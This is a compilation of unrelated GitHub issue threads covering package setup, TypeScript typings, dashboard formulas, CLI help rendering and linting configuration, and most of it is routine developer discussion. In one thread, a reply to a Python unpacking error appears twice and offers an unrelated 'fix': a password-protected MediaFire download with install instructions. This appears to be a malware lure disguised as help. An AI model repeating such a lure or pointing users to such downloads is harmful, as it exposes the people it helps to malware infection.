text:
Packagist

Would you be willing to add this to Packagist so it can be pulled/managed by Composer?
Thank you,
Daniel

I pull it in via composer with the following code:
{
  "repositories": [
    {
      "type": "vcs",
      "url": "https://github.com/jamesckemp/WordPress-Settings-Framework.git"
    }
  ],
  "require": {
    "jamesckemp/wordpress-settings-framework": "dev-master"
  }
}

authors: dmhendricks jamesckemp

repo: jamesckemp/WordPress-Settings-Framework


text:
ValueError: Not enough values to unpack

Hi there. I met this error when running the morgan_fing.py script. Any suggestion and solution to this? This is a sample content i feed to the script.
smiles zinc_id
Nc1nc(O)c(N+[O-])c(=O)[nH]1 15657772
O=N+C(N+[O-])(N+[O-])N+[O-] 19330094
Cn1cc(N+[O-])c(=O)[nH]c1=O 2562221
CN+(CCO)CCO 2029680
O=N+C(CO)(CO)CO 1640851
[BH3-][N+]1(C)CCOCC1 1088566703
Nc1nc(N)c(N+[O-])c(=O)[nH]1 16989893
O=N+C12CN3CN4CN(C1)C432 100368731
O=N+C12CN3CN(CN(C3)C1)C2 19315334
OCC[N+]12CN3CN(CN(C3)C1)C2 19319647
NC(N)=CN+[O-] 5112587
NNc1ncnc(NN)c1N+[O-] 4791958
Nc1[nH]c(=O)[nH]c(=O)c1N+[O-] 4761886
Cn1cc(N+[O-])c(=O)n(C)c1=O 967242
[BH3-]N+(C)C 169863906
smiles zinc_id
O=N+C1=NNc2ncnn2[C@H]1O 5670178
O=N+C@@HC@HN+[O-] 1564075
NC(=O)c1nc(N)nc(N)c1N+[O-] 4876895
NNc1nc(N+[O-])n[nH]1 85343293
CN+(C)[C@H]1CS(=O)(=O)C[C@@H]1O 6184001
NC(=O)Cn1cnc(N+[O-])n1 1094009
O=C1CC@HC(=O)N1 85399037
N[C@@H]1NC(=O)C=C[C@H]1N+[O-] 3852554
NC(=O)C@@HCC(N+[O-])N+[O-] 104046620
Thanks

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

source: gharchive/issue

repo: jamesgleave/Deep-Docking-NonAutomated

license: MIT

license_type: permissive

license_source: github-api


text:
add pictures for heroes and abilities

I wonder if you're planning to add pictures for heroes and abilities.
In case if you are planning, I suggest you check  this repository, it contains almost all resources of Overwatch

Hi @smidaharoun. I think this would be a nice addition, at least the portraits of each hero. At the moment I have no spare time to add this but will look at doing so in the future.

Yeah it's would be great, I would like to help you but unfortunately I have not that skilled in php.
Just another suggestion, I would be better if you add the hero's role field in getHeroes WS

Any update?

authors: MTechDE jamesmcfadden smidaharoun

repo: jamesmcfadden/overwatch-api

license_source: bigquery


text:
Add TopAppBarFixedAdjust component

RMWC or MDC? -  Not sure
rmwc@1.6.4
react@16.4.0
Chrome Version 67.0.3396.62 (Official Build) (64-bit)
Ejected Create react App
https://codesandbox.io/s/k2zz8n06vr
As you can see, I have 4
TEST
  tags below the top app bar.
What is the expected behavior?
All 4
TEST
 tags are visible.
What is the actual behavior?
not all of them are visible, since they somehow go under the top app bar.

HI @devxpy.
As it turns out, mdc has an undocumented component that I didn't catch for RMWC.
Check out this sandbox for the quick fix, I'll make sure to add the component to the next release.
https://codesandbox.io/s/42vlkjwoy4

Thanks!

You forgot the "key" prop that react needs ,
here is the fixed version :)
https://codesandbox.io/s/9jmllnl9z4

Fixed with release of 1.7 and MDC 36

authors: devxpy jamesmfriedman

repo: jamesmfriedman/rmwc


text:
iOS - Frowny Face doesn't come up on load failure

Test by turning off internet.

Fixed in 7e1c207eb66dc81d8a4eee8fcf76f72c7cb6ad3f

authors: jamesmontemagno olegoid

repo: jamesmontemagno/Coffee-Filter

license: mit


text:
Better vusize handling

CC @Disasm

Also CC @tarcieri, just in case you are interested how I fixed these issues.

source: gharchive/pull-request

repo: jamesmunns/bbqueue


text:
AWSS3Provider - list error AccessDenied: Access Denied

When running yarn run jamstack-develop I get the Access Denied warning in the title and further down
ERROR
#11321  PLUGIN
"gatsby-node.js" threw an error while running the createPages lifecycle:
Access Denied

Yep, I see the same error :-(

I think the issue is here const images = await Storage.list('images/') (gatsby-node.esm.js)

I think I made it work. The issue is with AWS S3 bucket. To make it work navigate to AWS console S3 bucket, locate your bucket go to its "Permissions" tab and set Public Access -> List objects to Yes

authors: dburbridge sakhmedbayev

repo: jamstack-cms/jamstack-cms


text:
Package for pip install

Make a package for easy installation.

I read a bit on that, but the name 'Chempy' is already taken. Should I just call it chempy-astro?

Taken by multiple packages actually. Maybe find a fancy one?  Empedocles, Vulcan, Thoth?
First making a setup etc.

authors: jan-rybizki mfouesneau

repo: jan-rybizki/Chempy


text:
Can not connect to Web Socket in IE9

When loggin in as a human player with IE 9.0.8112.16421 (32 Bit / 64Bit), the connection to websocket fails and server logs do not account any login.

Server log:
2016-02-08 08:40:11.128  INFO 9156 --- [MessageBroker-2] o.s.w.s.c.WebSocketMessageBrokerStats    : WebSocketSession[0 current WS(0)-HttpStream(0)-HttpPoll(0), 0 total, 0 closed abnormally (0 connect failure, 0 send limit, 0 transport error)], stompSubProtocol[processed CONNECT(0)-CONNECTED(0)-DISCONNECT(0)], stompBrokerRelay[null], inboundChannel[pool size = 0, active threads = 0, queued tasks = 0, completed tasks = 0], outboundChannelpool size = 0, active threads = 0, queued tasks = 0, completed tasks = 0], sockJsScheduler[pool size = 3, active threads = 1, queued tasks = 1, completed tasks = 1]

IE9 does not support web sockets ;-)

repo: janScheible/rising-empire


text:
Decide whether to write to csv files or than FITS extension

CSV Files!
For each addition of continuum points, add 4 rows:
# keywords
# comments
x data
y data

The (so far) agreed upon data additions will look like this:
# method, n_anchors
# datetime (automatically added), name (required), any additional comments from user
x data
y data
Example:
# method='spline', n_anchors=4
# 2020-09-11 16:28:55.165966, "Klay Kulik", "hopefully these are some good spline anchor points"
20.0, 40.0, 60.0, 80.0
1.01, 0.985, 1.32, 1.116
Can anyone think of something necessary to add that has been forgotten?

repo: jancami/edibles


text:
gain value in decimal format

openwebrx passes gain in decimal format and hpsdrconnector does not accept that
owrx.source - INFO - Started sdr source: hpsdrconnector --samplerate 96000 --gain 30.0 --radio 192.168.1.131 --frequency 28074000 -p 44551 -c 56021
invalid value "30.0" for flag -gain: parse error

See: https://github.com/jketterl/openwebrx/issues/256

As the issue that @jketterl linked to shows, this has been fixed in the OpenWebRX develop branch (see https://github.com/jketterl/openwebrx/pull/235 for more details). Until there's an official release, you will have to build OpenWebRX from source or use one of the experimental builds.

authors: jancona jketterl takgr

repo: jancona/hpsdrconnector


text:
Merge 5.1.1minus 16

The first four commits can be skimmed/skipped. The first commit (https://github.com/janestreet/merlin-jst/pull/65/commits/84c178d6a8ccfaa866c4610152af1693b2d7dbc8) is simply copying in the compiler code. The second commit (https://github.com/janestreet/merlin-jst/pull/65/commits/f19d0c1af15bfcd93882be1c0d736314ecb31dcb) is the result of merging in compiler changes via the import script, without any manual resolving. The third commit (https://github.com/janestreet/merlin-jst/pull/65/commits/a5021533fc975cf09b5dcc90a5b66bac69bf63e7) is manual resolution of trivial conflicts. The fourth commit (https://github.com/janestreet/merlin-jst/pull/65/commits/d31d490be052e8470fcb93537127efe70c788eca) is manual resolution of trivial type errors resulting from the merge.
The remaining commits are non-trivial (meaning they required at least some thought/decision making) and should be looked over.

The 4 more recent commits correspond to the compiler pr 2611. The first three commits of them can be skipped - they import the changes from the compiler with no manual conflict resolution.

repo: janestreet/merlin-jst


text:
replacing fox by a guy from mixamo.com

I want to replace the fox (player) by a guy from mixamo.com and replace the npc by another guy from mixamo.com.
All I ask for is to reply by a detailed instruction to how to add animations (from mixamo.com) to the guy of mixamo and how to assign the .glb obtained file to the player/npc

I've never used Mixamo, as I do my own animations, so I can't really help there. But maybe another user knows how to help?

Yes! I am using mixamo animations with quaternious characters in bevy.   My game is here
Doodlebuilt.com
Hit me up in bevy discord (same alias ) for help i can even send any of you the base model.  Basically i spent 10 hours manually rerigging a quaternius character .  Deleted all the bones, placed new bones , re-mapped them to the mesh w new vertex weights, and got animations working w bevy.

authors: ethereumdegen heydocode janhohenheim

repo: janhohenheim/foxtrot


text:
cargo test not finding nearest test

It does not seem to pick up the function name. Even TestFile seems to do the same.
The file name is tests/integration.rs
cargo test 'integration::tests::' -- --exact
   Compiling lsd v0.17.1-pre (/Users/meain/Documents/Projects/projects/lsd)
    Finished test [unoptimized + debuginfo] target(s) in 3.88s
     Running target/debug/deps/lsd-81f559c7da5f78eb

running 0 tests

test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 56 filtered out

     Running target/debug/deps/integration-c24dd85a48f0593e

running 0 tests

test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 11 filtered out

One more change.
https://github.com/janko/vim-test/blob/8300ee6c26ef022d0aed98f51d31451eb6e598b9/autoload/test/rust/cargotest.vim#L86
This has to be test not tests.

The original issue seems to be when the rust tests are separated out from source files.
I ran a test manually and it seems to just use only the funciton name.
 cargo test test_runs_okay                                           projects/lsd
    Finished test [unoptimized + debuginfo] target(s) in 0.05s
     Running target/debug/deps/lsd-81f559c7da5f78eb

running 0 tests

test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 56 filtered out

     Running target/debug/deps/integration-c24dd85a48f0593e

running 1 test
test test_runs_okay ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 10 filtered out

File being used:
https://github.com/Peltoche/lsd/blob/6353fe92303fbe1f20b41d6a7d79afad524b6333/tests/integration.rs#L135

https://github.com/janko/vim-test/pull/461

repo: janko/vim-test


text:
global "functions"

feat: allow to register global "functions" to be accessed from mustache global instance.

@Mejia1994 these PRs you've been opening & immediately closing lately, are getting noisy. Please avoid creating these PRs if they aren't meant to get reviewed.
I'd also encourage you to open an issue and asking if certain feature(s) would fit this project beforehand, if your intention is to contribute with any changes into the project.


text:
Connection error HTTPSConnectionPool

Hi,
I'm having the following issue:
HTTPSConnectionPool(host='archive.sec-api.iohttps', port=443): Max retries exceeded with url: ...
Caused by NameResolutionError("<urllib3.connection.HTTPSConnection object at ...>: Failed to resolve 'archive.sec-api.iohttps' ([Errno -2] Name or service not known)"
The links are working, my connection is stable. Is there maybe a way to increase retries for renderApi.get_filing() or another workaround?
Thanks

I added a manual retry function, now it seems to work like a charm. But maybe it would make sense to hardcode this into the get_filing() function as I got this error quite a few times.

repo: janlukasschroeder/sec-api-python


text:
🛑 Organitec is down

In 8c96565, Organitec (https://organitec.com.py/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Organitec is back up in ab9e7a9 after 10 minutes.

repo: janparkio/uptime


text:
🛑 Gracia & Verdad is down

In 38e31df, Gracia & Verdad (https://gyvpy.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Gracia & Verdad is back up in 190abd0.


text:
feat(orchestrator): add fine-grained RBAC

Fixes: FLPATH-1562
The admin can limit access to specific workflows and instances by workflow ID.

@mareklibra
Does this use conditions?
https://backstage.io/docs/reference/plugin-permission-common.permissioncondition/#:~:text=A condition returned with a,claims from a identity token.

@batzionb This is still a draft.
I tried conditional permissions as a first option but was not able to get it working, this is a second attempt to have something working. But I keep trying.

@mareklibra
please reopen the PR on https://github.com/redhat-developer/rhdh-plugins

This PR has been moved to https://github.com/redhat-developer/rhdh-plugins/pull/82

authors: batzionb mareklibra

repo: janus-idp/backstage-plugins


text:
"bits" is a valid field name

In that case the method to access the bitfield proxy:
peripheral.register.read().bits() // BitsR
peripheral.register.read().bits().is_variant() // bool

is ambiguous with the register method to get its raw bits
peripheral.register.read().bits()  // e.g. u8

This happens in the SKEAZN84.svd file.

Solution
Rename R.bits to something else. The question is what should be the new name. In principle any name we pick can cause a collision in the future as register names, per the SVD specification, are as, or more, free-from than Rust identifiers.
From the schema (register names have type dimableIdentifierType):
  <xs:simpleType name="dimableIdentifierType">
    <xs:restriction base="xs:string">
      <xs:pattern value="((%s)|(%s)[_A-Za-z]{1}[_A-Za-z0-9]*)|([_A-Za-z]{1}[_A-Za-z0-9]*(\[%s\])?)|([_A-Za-z]{1}[_A-Za-z0-9]*(%s)?[_A-Za-z0-9]*)"/>
    </xs:restriction>
  </xs:simpleType>

Also happened to me with ATSAM3X8E.svd. My workaround was to rename the field rather than the method (which works, but also feels wrong)

authors: japaric zargony


text:
Improve chunks syntax

Use the sentinel argument of iter to simplify the readability of the chunks
function, and remove the use of "while" for a "for" loop.
Tested on Linux and Windows.

Good idea. The syntax is cleaner and avoids lots of imperative logic.
Unfortunately, even the basic tests fail on Python 3 as seen in the failed Travis runs. I suspect on Python 3, the result of .read() is str, so the sentinel is never encountered. I suppose you could pass a sentinel which always compares equal to an empty result.
I welcome you to give this another go, but as it stands, it's not acceptable. Feel free to push more commits to this PR (and we'll re-open) or submit another.

Hi, I wrote the chunk part. I like the improvement, you probably can do it this way:
        for chunk in iter(lambda: f.read(size) or None):
            yield chunk

However, please tun all the unit tests before providing a PR please.

I will test your solution and submit another PR when ready, thanks for the help

authors: IxDay jaraco sametmax


text:
Updating examples with React 16

[x] Updated react-* dependencies
[x] Client side: render -> hydrate
[ ] Update Typescript examples: waiting for react-dom update

Nice!
Any idea on when will TS release types for 16?

Types for react was just updated. I will update the example asap

For TS, let's just cast ReactDOM to any and call hydrate()
(ReactDOM as any).hydrate()

I'll fix TS

authors: NickCis jaredpalmer jariz

repo: jaredpalmer/razzle


text:
difference between @types/keyv and types of keyv

With https://github.com/jaredwray/keyv/pull/257 typescript support was implemented. I love it and support it. However, this was a breaking change in my eyes. The types differ between @types/keyv and keyv package.
I use keyv myself only as transitive dependency via the cachable-request. This imports keyv via >4.0.0. After npm upgrade I get this error.
node_modules/@types/cacheable-request/index.d.ts:13:10 - error TS2305: Module '"keyv"' has no exported member 'Store'.

13 import { Store } from 'keyv';

typescript prioritize the shipped types over types provided with ' @types/...'.  Would it be possible to add the missing types, or is this not desired (could provide pr)? Another solution would be to update to a new major version and revert the change in v4.x.x

@AnWeber - Please stay on 4.1.1 until we fix the Store issue we are seeing which we believe should be resolved shortly.
you can follow along here also: https://github.com/jaredwray/keyv/pull/267

@jaredwray I saw the PR, but unfortunately did not realize that the exact problem was also being discussed. Cool, thanks.

@AnWeber Thanks. We are working on it.

@AnWeber wanted to check in that the 4.2.1 release is working for you

@jaredwray Works for me too. Thank you.

@jaredwray I landed a change to @types/keyv recently that isn't accounted for in the new type definitions. I think that it makes sense for a partial of Keyv.opts to be available to classes that extend Keyv, since this.opts is always assigned in the Keyv constructor. In hindsight, I should've made it a protected property, but I'm curious to hear your thoughts and if you'd accept a PR with changes in the spirit of this one: https://github.com/DefinitelyTyped/DefinitelyTyped/pull/59154
Thanks!

authors: AnWeber jaredwray trevor-scheer

repo: jaredwray/keyv


text:
Something odd still with depth map results

See test case cave1-depthmap-highres-test

Fixed!

repo: jariarkko/cave-outliner


text:
Not refreshing when saving in Mac

Live server works and it auto updates page when project has only one file. When the project has many files it doesn't refresh automatically and I have to press the refresh button manually. I have checked the HTML code in here https://validator.w3.org/ and it didn't give any errors.

same for me can we have help please

OK actually it was my own fault - even though everything render ok the script tags were actually inside the body tag so I guess this was the probem.
Srry thx all

repo: jas-chen/atom-live-server


text:
Export Everything Feature?

Some of us have the ability to send our stored solar power back to the utility using the Tesla Powerwall feature, Export Everything.
Without this toggled on, solar power is only exported when it is produced. But with it toggled on, the Powerwalls will store the solar energy in the battery and then send it out during the most price optimal period. Note that this is not the same as arbitration which would also required the Grid Charge feature to be toggled on.
Can you comment on how the PW Dashboard shows this capability today? I have enclosed a picture of an event where the stored solar was returned to the utility for your review.

Can you comment on how the PW Dashboard shows this capability today? I

Hi @aesculus , I not sure I fully understand the question. Which panel or data point are you wondering about?
Do you mean, how does it compute "Savings"? If so, it is not terribly intelligent and difficult to make accurate due to complex TOU and other utility rate variability, but it would still represent your use case. The values are coming from basic equations you can see here: https://github.com/jasonacox/Powerwall-Dashboard#savings-errors
When Powerwall is flowing to Grid, it would will end up in "from powerwall" (fp) and the "powerwall > home" savings data.

OK. Apologies for being obtuse, but I did not want to take you down some big rabbit hole you had already gone down or did not want to spend the time on. You nailed it though.
Basically I guess I wonder if there is some value to add a pw>grid savings bar for this scenario. Simply I guess it would be the total of negative grid less a new solar>grid component.
I did not dive into the Grafana math yet but it may be captured in the current solar>grid figure? It looked close when I checked the values. Technically this is true, it just has a round about way of getting there in this scenario.
Now if someone does do arbitration, where they buy power at a low cost, store it, and then send it back at a higher rate, that may not reflect properly?
So would there be value in both cases to have the solar>grid be real-time where pw>grid would be delayed?
BTW the models Tesla uses to do this are pretty impressive. The sample I gave above is trivial. My consumption was pretty fixed and was not hard to estimate so the PW just started dumping and kept an eye on the end game. But if my energy consumption was more erratic, which it can be as AC use climbs, they have to play a much more cautious approach. And in days where my demand is huge I usually just turn off this feature as I am lucky to get to end of peak at reserve and there is no use in risking it.

Ok, so here is the raw data we get from the Powerwall:

Home load (how much house is using)
Solar production
Grid power (positive if it we are pulling power, negative if we are pushing power)
Powerwall power (positive if we are discharging, negative if we are charging)

We have a continuous query (CQ) in InfluxDB that provides some helpful variables based on those for data points:
home = Home load
solar = Solar production
from_grid = Grid power (if positive)
to_grid = Grid power (if negative)
from_pw = Powerwall power (if positive)
to_pw = Powerwall power (if negative)
The from/to is just a simple trick we used to sort positive/negative values [e.g. abs((1-x/abs(x))*x/2)]:
See here:  https://github.com/jasonacox/Powerwall-Dashboard/blob/ee9a64b33038dc28be0dd5372d9bcb893cbb853d/influxdb/influxdb.sql#L15
The link I mention (here) shows how we use those variables to compute the different savings elements:

powerwall>home = from_pw * $/kWh [assumes all power to home from PW = savings] ** this is a problem because in your case "from_pw" is also going to show up when it discharges to the grid.
solar>home = (solar - to_pw - to_grid) * $/kWh [assumes all solar not going to PW or grid is going to the home = savings]
solar>grid = to_grid * $/kWh [assumes all power going to grid = savings]  ** this is another poblem area, the PW discharge event would also show up here as power to the grid

I'm not sure how to identify if the power is coming from the Powerwall or Solar that is going to the Grid (in the graph you posted, it could be one or both).  If anyone can figure out a better equation, based on the variables we get,  please let me know.

| I'm not sure how to identify if the power is coming from the Powerwall or Solar that is going to the Grid
As the utility can't (or at least shouldn't be able to) tell the difference, I don't think it is meaningful to try and differentiate these two - as far as the utility is concerned, this is just export from the house and an electron is an electron.
@aesculus - Are you working with fixed time of use tariff (there is strict schedule for high and low export rates and known tarriffs) or a dynamic system driven by real time network demand where both export timing and tariff are variable and unknown?

I'll admit this may be a daunting task and its not important to decide where every electron is going.
Solar can have three destinations: the home, the grid or the PWs which later can go to the home or grid.
The grid can either consume or provide. When it consumes the power can come from solar or the PW (which was energy it might have given before or from site generated solar). When it provides it can be consumed immediately by the home or as above, stored in the powerwalls for later consumption.
The solar, grid and PWs all have CTs that measure current at the movement. The home value is not measured but always the remainder of current from these three. This makes it even more difficult to try to understand the flow.
It will take some time to see if we can come up with a course way to determine what went on over a given period vs the real-time data we get from the CTs. I'll noodle on it a bit.
My use case is pretty simple. For the most part any power I get paid for comes from a fixed period each day (there can be a bit of spill over to an adjacent period but its rare). I can send as little as I want but can never exceed the max rate of the two PWs (10 kW) at any moment and at least monthly (maybe daily) I cannot send back any more than the estimated power the utility and I agreed to when I was given a permission to discharge to the grid. Pretty standard for California where I live.  If I do send back more they have the option to cap my reimbursement to what was agreed to. My actual production is always short of what was agreed to BTW.

Mmm - from what you are describing, it sounds as though it may fit within the capabilities of the ToU engine I put together earlier this year.
https://github.com/BuongiornoTexas/pwdusage
There's at least one place it won't fully match your system, and that is truncating export per month. But if you are not going over the limit, this may work for what you are looking for? And if you really cared, you could build a custom agent.
It does lazy accounting - basically if the energy costs or generates export or usage value, it gets accounted for. All other energy is assumed to have zero value (solar charging is worth nothing until used or exported, losses are worth nothing). So:

Energy coming from the grid costs whatever the utility charges, and it doesn't matter if this is sent to the house or the battery.
Energy sent to the house from the battery or solar is valued at whatever the equivalent grid cost is at that time (savings value).
Energy exported to the grid is valued at whatever the utility pays (feed in tariff or equivalent).

@BuongiornoTexas Yes. I am using your dashboard and it is quite detailed. But I was just thinking of the little tweak to @jasonacox dashboard on the Savings bar charts to add the pw>grid export. You could probably make this algorithm in your sleep. :-)

In that case, I think you can get what you want by tweaking the drop in replacement for the savings panel that is in:
https://github.com/jasonacox/Powerwall-Dashboard/tree/main/tools/usage-service
Right now, this should report: savings from powerwall used to power the home, solar used to power the home, and export to the grid. It doesn't differentiate between solar export and grid export, but also doesn't have the potential double counting issue jason highlighted above. But given the data available, I think you could break in down in grafana from:
solar export = max(0, min(SOLAR_SUPPLY - SOLAR_TO_HOME, GRID_EXPORT))
pw export = max(0, min(PW_SUPPLY - PW_TO_HOME, GRID_EXPORT - solar export))
Depending on how you have set up your supply priorities, one of the residuals may also help in calculating what you want.

@BuongiornoTexas Missing something here: I tried the "drop in replacement" and while I can see the json is different, the only thing that changed for me was the title. Looking at it, it appears that the underlying query is limiting what is being displayed?
Maybe I don't know how to do "drop in replacement".

Hi @aesculus,
If the title has changed to "Savings - ToU Month to Date" and "solar > grid" has changed to "export > grid" than it's probably working as expected. Also, if you go to edit the panel and check the Transform tab, there should be 4 or 5 "Add field from calculation" and "Organise field" tranforms that I don't think @jasonacox uses at all.
The panel looks much the same as the old one, but the values should change a fair bit.
You could try setting up the original and new panels side by side to check what is happening.
Also - I'm really happy to spend time on helping with this, but could you include screen grabs/snap shots or other information to help debug? It's hard to know what's going on with just a sentence or two of description of the problem.

Not sure what happened last time but this time I see more bars. All I am doing is swapping the json. Is that what I should do or is there more I should be doing?
BTW I have to fix another problem first before I pursue this. I am now getting an message across the top of the panel:

BTW I have to fix another problem first before I pursue this. I am now getting an message across the top of the panel (wonder if that is because of the negative value?):

I have seen this before, and can't remember what caused it. Can you try setting a different time range and seeing what happens? As this is the original savings panel, I wouldn't expect it to have any issues?

I added this report #345  to see if @jasonacox has some ideas.

authors: BuongiornoTexas aesculus jasonacox

repo: jasonacox/Powerwall-Dashboard


text:
Container is not starting due missing NETMAP

Hi,
i pulled the image latest . It seems to be an issue with NETMAP. Docker logs is showing:
Error: suricata: NETMAP not enabled.
I tried some OPTIONS of suricata but it wont helps. Seems that the image is completly missing NETMAP.

Suricata is not built with NETMAP support in these containers.  Netmap support requires host support via a kernel module which the container cannot deal with. And then some non-standard packages that would complicate the built.  This is the same reason PF_RING isn't supported either. These containers focus on what is available in Linux itself.

authors: jasonish xtruthx

repo: jasonish/docker-suricata


text:
Support input unions

Perceived Problem
User wants an interface like this:
Case 1:
foo

Case 2:
foo -i

Case 3:
foo -i yarn
foo -I npm
foo -i pnpm

Case 1, when nothing given, means, don't do -i thing.
Case 2, when given as boolean, means, do -i thing with some default behaviour
case 3, when given, means, do -i thing with this
Ideas / Proposed Solution(s)
How could this be represented in the Zod types?
z.boolean().or(z.enum(['a','b','c'])).default(false)

Should do it.
The internal type would be:
true | false | 'a' | 'b' | 'c'

The false case is because 1) its the default and 2) the user could do this explicitly:
foo --no-i

Currently Mold Command does not know how to parse based on an input union. Nor does it know how to generate docs for an input union.
For parsing there are few rules:

If the union includes string literals AND a boolean those string literals CANNOT be false or true since that would make it impossible to properly parse/cast the environment input.

Looking at the above example for a concrete example: When parsing the flags, we assume that this -i --something-else means the user is intending to pass as the boolean union member. When they pass -i yarn --something-else we assume the enum.

This kind of zod expression would be unsupportable by Molt: z.boolean().or(z.enum(['a','b','c']).default('b')).default(false). A default on a member within the union is not parsable.

~The above leads me to believe that we shouldn't support zod unions but instead roll our own, like we did with .mutuallyExclusive. We could have .union or .or or even simpler could just be accepting an array as the second parameter to .parameter:~
Ignore examples below and see comment below.
Command.parameter('i install', [z.boolean(), z.enum(['a','b','c'])])

Ah, but the problem with this is we lose the ability to express the concept of a default for the parameter. Ok, try again with a builder function then:
Command
  .parameter('i install', __ =>
    __.value(z.enum(['a','b','c']).description('...'))
      .value(z.boolean().description('...'))
      .default(true)
  )

Maybe the approach of supporting zod unions is actually best...
Its just that we need to have some limits:

No defaults on inner union members (only ok top level)
No optionals on inner union members (only ok top level)

Then we can support this:
Command
  .parameter('i install', z.boolean().or(z.enum(['a','b','c'])).default(false))

How should the help be rendered for this? Example of some current docs:

Here is an example sketch where we just stack the type/description cell with additional entries for each union member. This sketch assumes descriptions have been given for each member:
PARAMETERS

  Name       Type/Description                              Default

  move       boolean                                       false
  m          Delete the original file after it has be
             en converted.

  install    boolean                                       false
  i          Run dependency install after setup. Use
             the system-detected package manager.

             yarn | pnpm | npm
             Force use of a specific package manager.

  filePath   string                                         REQUIRED
             Path to the file to convert.

  from       json | yaml | toml                            undefined
             Format to convert from. By default infer
             red from the file extension.

Here's the sketch where no descriptions were given:
PARAMETERS

  Name       Type/Description                              Default

  move       boolean                                       false
  m          Delete the original file after it has be
             en converted.

  install    boolean | yarn | pnpm | npm                   false
  i

  filePath   string                                         REQUIRED
             Path to the file to convert.

  from       json | yaml | toml                            undefined
             Format to convert from. By default infer
             red from the file extension.

Here is an example where description was given at the union and member levels:
PARAMETERS

  Name       Type/Description                              Default

  move       boolean                                       false
  m          Delete the original file after it has be
             en converted.

  install    union                                         false
  i          Run dependency install after setup.

             boolean
             Use the system-detected package manager.

             yarn | pnpm | npm
             Force use of a specific package manager.

  filePath   string                                         REQUIRED
             Path to the file to convert.

  from       json | yaml | toml                            undefined
             Format to convert from. By default infer
             red from the file extension.

Maybe we can take some inspiration from how mutually exclusive parameters are rendered:

Idea:
PARAMETERS

  Name       Type/Description                              Default

  move       boolean                                       false
  m          Delete the original file after it has be
             en converted.

  install    ┌─union                                       false
  I          │ Run dependency install after setup.
             │
             ◒ boolean
             │ Use the system-detected package manager.
             │
             ◒ yarn | pnpm | npm
             │Force use of a specific package manager.
             └─
  filePath   string                                         REQUIRED
             Path to the file to convert.

  from       json | yaml | toml                            undefined
             Format to convert from. By default infer
             red from the file extension.

Maybe we can take some inspiration from how mutually exclusive parameters are rendered:

Idea:
PARAMETERS

  Name       Type/Description                              Default

  move       boolean                                       false
  m          Delete the original file after it has be
             en converted.

  install    ┌─union                                       false
  i          │ Run dependency install after setup.
             │
             ◒ boolean
             │ Use the system-detected package manager.
             │
             ◒ yarn | pnpm | npm
             │ Force use of a specific package manager.
             └─

  filePath   string                                         REQUIRED
             Path to the file to convert.

  from       json | yaml | toml                            undefined
             Format to convert from. By default infer
             red from the file extension.

I really like this approach. To me, it makes it the most clear that there are multiple potential input types and the scenarios each covers.

I wonder if we should render it that way even when no descriptions are given. My thinking is that if you're not giving descriptions you probably don't care about the expanded rendering.

Made some more progress tonight, this time on help rendering. Here's how its looking:

Its not perfect but I think this iteration of work has been long enough, its got value now, could ship.

authors: jasonkuhrt sabinadams

repo: jasonkuhrt/molt


text:
support no_std for embedded use

Update the code and all dependencies to support no_std for embedded use.

Thanks a lot for your crate! I'm trying this out right now and should submit a PR fairly soon.

authors: gferon jasonpeacock


text:
How to Callback?

How do I make Callback to handle errors in the javascript code
var JavaScriptObfuscator = require('javascript-obfuscator').obfuscate;
//Error in console.log and I have to handle it. How to do?
var mycode='function hai(){console.log("hello world";} hai();';

var obfuscationResult = JavaScriptObfuscator(mycode,options,function(err, obfuscated){
if(err){
console.log("some error occurred");
}
else{
console.log("cool...");
}
})

the above code is not working to handle errors.
Thanks in Advance...

Disable this option
https://github.com/javascript-obfuscator/javascript-obfuscator#disableconsoleoutput

Hi sanex3339 . I have tried disableconsoleoutput, but still there is no flow to callback.
The following is my code .
 var JavaScriptObfuscator = require('javascript-obfuscator').obfuscate;
 var myCode='function hai(){console.log("hello world";} hai();';
 var options={
 compact: false,
 controlFlowFlattening: true,
 disableConsoleOutput:true
};
var obfuscationResult = JavaScriptObfuscator( myCode , options, function(err){
 if(err){
    console.log("some error occured");
}
else{
console.log("cool...");
}
})
console.log(obfuscationResult.getObfuscatedCode());

Clearly, you can see in the variable myCode, the console.log is not closed properly, That's the error which I have to handle , but unfortunately the callback is not working. am I written the callback correctly?, if so, then why its not working. I couldn't find any example with callback. If you rewrite the code, It will be more helpful. thank you

You should disableConsoleOutput false

I tried with both true and false. Still the callback is not working. It doesn't consoled "some error occured" or the obfuscated output.

Show me your obfuscated code

https://github.com/javascript-obfuscator/javascript-obfuscator#nodejs-usage

This works only when the input is correct.
how to handle the errors when you try to obfuscate
alert("helo" ;
with missing close bracket?
it just throw the error openly.

Wrap it in try catch

Thank you So much it worked.


text:
Configuring boundaries/entry-point depending on "from"

Thanks for a great library!
I'm trying to configure boundaries/entry-point but I'm not sure how do it.
I have this folder structure
src/
├── components/
├── pages/
├── utils/

I want to configure so that each of the elements only can can be accessible through the index.js file.
pages/page-1.js can only imports component via components/index.ts
components/button/button.js can only imports utils via utils/index.ts
So this configuration works:
"boundaries/entry-point": [
      2,
      {
       default: "disallow",
        rules: [
          {
            target: ["components", "utils"],
            allow: "index.js",
          },
        ],
      },
    ],

However, when the scope is within each of the elements (components, utils) it should be possible to import the files directly.
components/menu/menu.js can import components/button/button.js directly and not be forced to do it via (components/index.js)
utils/util-1.js can import utils/util-2.js directly and not be forced to do it via (utils/index.js)
How do I configure that?

Hi @jesperume, the entry-point rule can be used only to ensure that each element is imported through a file belonging to the element itself. If I have understood well, you are trying to set a common index.js file that should be the entry point for all of the elements of a type. In that case, maybe you could define new element types for the index files, and allow other elements to import only them using the element-types rule. Something like this:
{
    // disallow all local imports by default
    default: "disallow",
    rules: [
      {
        from: ["components-index"],
        allow: ["components"],
      },
      {
        from: ["components"],
        allow: ["components-index", "utils-index"],
      },
      {
        from: ["utils-index"],
        allow: ["utils"],
      },
      {
        from: ["utils"],
        allow: ["utils-index"],
      },
    ],
  },

But note that this configuration may result in circular dependencies, because you are importing all components from the components/index.js file, and forcing components to import other components also using that file.
